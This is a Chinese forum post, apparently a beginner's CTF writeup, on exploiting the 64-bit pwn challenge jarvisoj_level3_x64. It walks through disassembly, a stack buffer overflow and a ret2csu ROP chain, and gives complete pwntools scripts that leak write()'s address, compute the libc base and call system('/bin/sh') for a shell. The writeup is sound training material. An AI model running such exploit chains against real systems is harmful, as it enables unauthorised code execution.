吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 318|回复: 1
上一主题 下一主题
收起左侧

[CTF] CTF新人日记之pwn——day2

[复制链接]
跳转到指定楼层
楼主
Djay09 发表于 2026-10-16 14:53 回帖奖励
题目《jarvisoj_level3_x64》 来源于BUUCTF
解题环境我设置在本地,方便演示

使用工具探测可执行文件的相关信息得知只有NX开启其他保护未开启,并且是64位动态链接,所以这种情况对于新手来说友好很多

由于可执行文件本身体积不大,所以我选择使用objdump工具对其进行反汇编处理,且关键的程序逻辑反汇编信息如下:

[Asm] 纯文本查看 复制代码
00000000004005e6 <vulnerable_function>:
  4005e6:       55                      push   rbp
  4005e7:       48 89 e5                mov    rbp,rsp
  4005ea:       48 83 c4 80             add    rsp,0xffffffffffffff80
  4005ee:       ba 07 00 00 00          mov    edx,0x7
  4005f3:       be d4 06 40 00          mov    esi,0x4006d4
  4005f8:       bf 01 00 00 00          mov    edi,0x1
  4005fd:       e8 ae fe ff ff          call   4004b0 <write@plt>
  400602:       48 8d 45 80             lea    rax,[rbp-0x80]
  400606:       ba 00 02 00 00          mov    edx,0x200
  40060b:       48 89 c6                mov    rsi,rax
  40060e:       bf 00 00 00 00          mov    edi,0x0
  400613:       e8 a8 fe ff ff          call   4004c0 <read@plt>
  400618:       c9                      leave
  400619:       c3                      ret

000000000040061a <main>:
  40061a:       55                      push   rbp
  40061b:       48 89 e5                mov    rbp,rsp
  40061e:       48 83 ec 10             sub    rsp,0x10
  400622:       89 7d fc                mov    DWORD PTR [rbp-0x4],edi
  400625:       48 89 75 f0             mov    QWORD PTR [rbp-0x10],rsi
  400629:       b8 00 00 00 00          mov    eax,0x0
  40062e:       e8 b3 ff ff ff          call   4005e6 <vulnerable_function>
  400633:       ba 0e 00 00 00          mov    edx,0xe
  400638:       be dc 06 40 00          mov    esi,0x4006dc
  40063d:       bf 01 00 00 00          mov    edi,0x1
  400642:       e8 69 fe ff ff          call   4004b0 <write@plt>
  400647:       c9                      leave
  400648:       c3                      ret
  400649:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]


从0x400602这个位置可以看出此处有一个栈溢出可以进行利用,所以自然而然想从程序中寻找后门函数,但经过静态分析发现并没有,对于新手来说,如果没有后门函数,那么可以尝试泄露libc基址然后二次利用调用system()函数
于是开始寻找能够泄露某个API函数运行地址的位置,在程序主要逻辑反汇编信息中其实就只有两个函数write和read,通过搜索得知write函数接受的参数:ssize_t write(int fd, const void *buf, size_t count);关键的地方在于第二个参数buf
它是一个数据缓冲区指针,指向内存中存放待写入数据的位置,也就是说如果把某个已经解析的函数GOT表地址放到第二个参数中,就可以通过write()来泄露出运行地址了!然而又发现调用write()前传入的参数是硬编码的,不是从栈
传递。但利用栈溢出可以实现ROP链,ROP链则可以实现我们的想法。

使用readelf工具查看got表:(在利用GOT地址时需要注意该函数在漏洞发生时是否被解析过,否则利用时只会读取到延迟绑定机制里的PLT桩代码,不过要论如何判断,作为新手的我只会在代码层面判断有没有被调用过·,如果有更加本质的方法希望读者可以回帖交流交流,谢谢咯)

得知write()的GOT地址是0x600a58

根据System V ABI调用约定,第1,2,3个参数使用rsi,rdi,rdx寄存器进行传递,那么ROP链中需要控制rsi,rdi,rdx寄存器
使用ROPgadget工具探测关于这三个寄存器的gadget:



此时发现没有关于rdx寄存器的直接gadget,所以还需静态分析找出间接控制rdx寄存器的gadget,通过静态分析发现程序中有这样一个函数:
[Asm] 纯文本查看 复制代码
0000000000400650 <__libc_csu_init>:
  400650:       41 57                   push   r15
  400652:       41 89 ff                mov    r15d,edi
  400655:       41 56                   push   r14
  400657:       49 89 f6                mov    r14,rsi
  40065a:       41 55                   push   r13
  40065c:       49 89 d5                mov    r13,rdx
  40065f:       41 54                   push   r12
  400661:       4c 8d 25 d8 01 20 00    lea    r12,[rip+0x2001d8]        # 600840 <__frame_dummy_init_array_entry>
  400668:       55                      push   rbp
  400669:       48 8d 2d d8 01 20 00    lea    rbp,[rip+0x2001d8]        # 600848 <__do_global_dtors_aux_fini_array_entry>
  400670:       53                      push   rbx
  400671:       4c 29 e5                sub    rbp,r12
  400674:       31 db                   xor    ebx,ebx
  400676:       48 c1 fd 03             sar    rbp,0x3
  40067a:       48 83 ec 08             sub    rsp,0x8
  40067e:       e8 fd fd ff ff          call   400480 <_init>
  400683:       48 85 ed                test   rbp,rbp
  400686:       74 1e                   je     4006a6 <__libc_csu_init+0x56>
  400688:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40068f:       00 
  400690:       4c 89 ea                mov    rdx,r13
  400693:       4c 89 f6                mov    rsi,r14
  400696:       44 89 ff                mov    edi,r15d
  400699:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40069d:       48 83 c3 01             add    rbx,0x1
  4006a1:       48 39 eb                cmp    rbx,rbp
  4006a4:       75 ea                   jne    400690 <__libc_csu_init+0x40>
  4006a6:       48 83 c4 08             add    rsp,0x8
  4006aa:       5b                      pop    rbx
  4006ab:       5d                      pop    rbp
  4006ac:       41 5c                   pop    r12
  4006ae:       41 5d                   pop    r13
  4006b0:       41 5e                   pop    r14
  4006b2:       41 5f                   pop    r15
  4006b4:       c3                      ret
  4006b5:       66 66 2e 0f 1f 84 00    data16 cs nop WORD PTR [rax+rax*1+0x0]
  4006bc:       00 00 00 00


通过函数名就知道这里有个ret2csu知识点,这里是整个ROP链的关键,只要合理构造paylaod,从0x4006aa这里就可以劫持控制流
泄露write()运行地址的payload及完整泄露write()函数地址阶段的脚本如下,主要是要使栈指针对齐:
[Python] 纯文本查看 复制代码
from pwn import *

p = process("./level3")

csu_addr = 0x4006aa

control_addr = 0x400690

write_got_addr = 0x600a58

p.recvline()

payload = 0x88 * b'a'
payload += p64(csu_addr)
payload += p64(0) 
payload += p64(1)  
payload += p64(write_got_addr) 
payload += p64(8) 
payload += p64(write_got_addr) 
payload += p64(1)  
payload += p64(control_addr)

p.send(payload)

leak = p.recv()

write_addr = u64(leak)

print("write函数真实运行地址:" + str(hex(write_addr)))

p.interactive()


(这里有个细节,p.recvline()是为了去掉程序运行时的提示语,否则会干扰后面接收运行地址的方法)
ret2csu关键的地方其实是在里:
[Asm] 纯文本查看 复制代码
 400690:       4c 89 ea                mov    rdx,r13
  400693:       4c 89 f6                mov    rsi,r14
  400696:       44 89 ff                mov    edi,r15d
  400699:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40069d:       48 83 c3 01             add    rbx,0x1
  4006a1:       48 39 eb                cmp    rbx,rbp
  4006a4:       75 ea                   jne    400690 <__libc_csu_init+0x40>
  4006a6:       48 83 c4 08             add    rsp,0x8
  4006aa:       5b                      pop    rbx
  4006ab:       5d                      pop    rbp
  4006ac:       41 5c                   pop    r12
  4006ae:       41 5d                   pop    r13
  4006b0:       41 5e                   pop    r14
  4006b2:       41 5f                   pop    r15
  4006b4:       c3                      ret

这里可以知道如果rbx,rbp的值处理不恰当那么就会一直循环直到崩溃,所以在面对下面的一串pop中要合理构造payload

获得实际运行地址后,因为函数在库的偏移是固定的,只要知道这个偏移量那么就可以间接得出libc的加载基址(libc = leak - offset)
关于函数在库的偏移,其实是有门道的,不同目标主机上linux系统中的libc的版本都可能不同,更何况还会有些补丁同样会影响偏移量,不过这是CTFpwn的简单阶段,一般都会给出对应的libc版本,况且我还没有能力遇到呢

因此二次利用的payload及脚本代码示例如下:(我个人认为的难点其实是在栈对齐,尤其是调用system()这个函数的时候,需要保证rsp寄存器满足16字节对齐,原因简单来说是函数内部使用了sse机制)

[Python] 纯文本查看 复制代码
from pwn import *

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")

p = process("./level3")

system_offset = libc.symbols["system"]
write_offset = libc.symbols["write"]
binstr_addr_offset = next(libc.search(b"/bin/sh"))

print("system函数偏移:"+str(hex(system_offset)))
print("write函数偏移:"+str(hex(write_offset)))
print("/bin/sh offset:"+str(hex(binstr_addr_offset)))

csu_addr = 0x4006aa
control_addr = 0x400690
write_got_addr = 0x600a58
vuln_addr = 0x4005e6
control_rdi_addr = 0x4006b3
ret_addr = 0x4006cc

payload = 0x88 * b'a'
payload += p64(csu_addr)
payload += p64(0) 
payload += p64(1)  
payload += p64(write_got_addr) 
payload += p64(8) 
payload += p64(write_got_addr) 
payload += p64(1)  
payload += p64(control_addr)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += 32 * b'g'
payload += p64(vuln_addr)

p.sendline(payload)

p.recvline()

raw = p.recvuntil(b"I")
leak = raw[:8]
write_addr = u64(leak)

print("write函数真实运行地址:" + str(hex(write_addr)))

libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binstr_addr = binstr_addr_offset + libc_addr

print("libc_addr:"+str(hex(libc_addr)))
print("system_addr:"+str(hex(system_addr)))

payload2 = 0x88 * b'a' 
payload2 += p64(ret_addr)
payload2 += p64(control_rdi_addr)
payload2 += p64(binstr_addr)
payload2 += p64(system_addr)

p.sendline(payload2)

p.interactive()


运行脚本后发现能得到shell:


初次之外其实我想到了还有另一种解法,只是更绕了些。使用readelf工具查看节区时:

发现.data与.bss节是可写可读的,字节宽度也刚好,可以将"/bin/sh"或者其他给system()的参数写进去,不过这显然更绕了

结语:我个人认为这道题对我的价值还蛮大,尤其是在处理栈对齐的过程中更上一层楼。以上是给需要的读者一个参考亦是我对解题后的总结,新手撰写,许多地方不专业,还请多多回帖指正交流,谢谢大家!


发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Zzh007 发表于 2026-10-17 21:20
信息安全的吗?加油哦!

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
Djay09 + 1 + 1 谢谢@Thanks!

查看全部评分

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-10-18 05:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表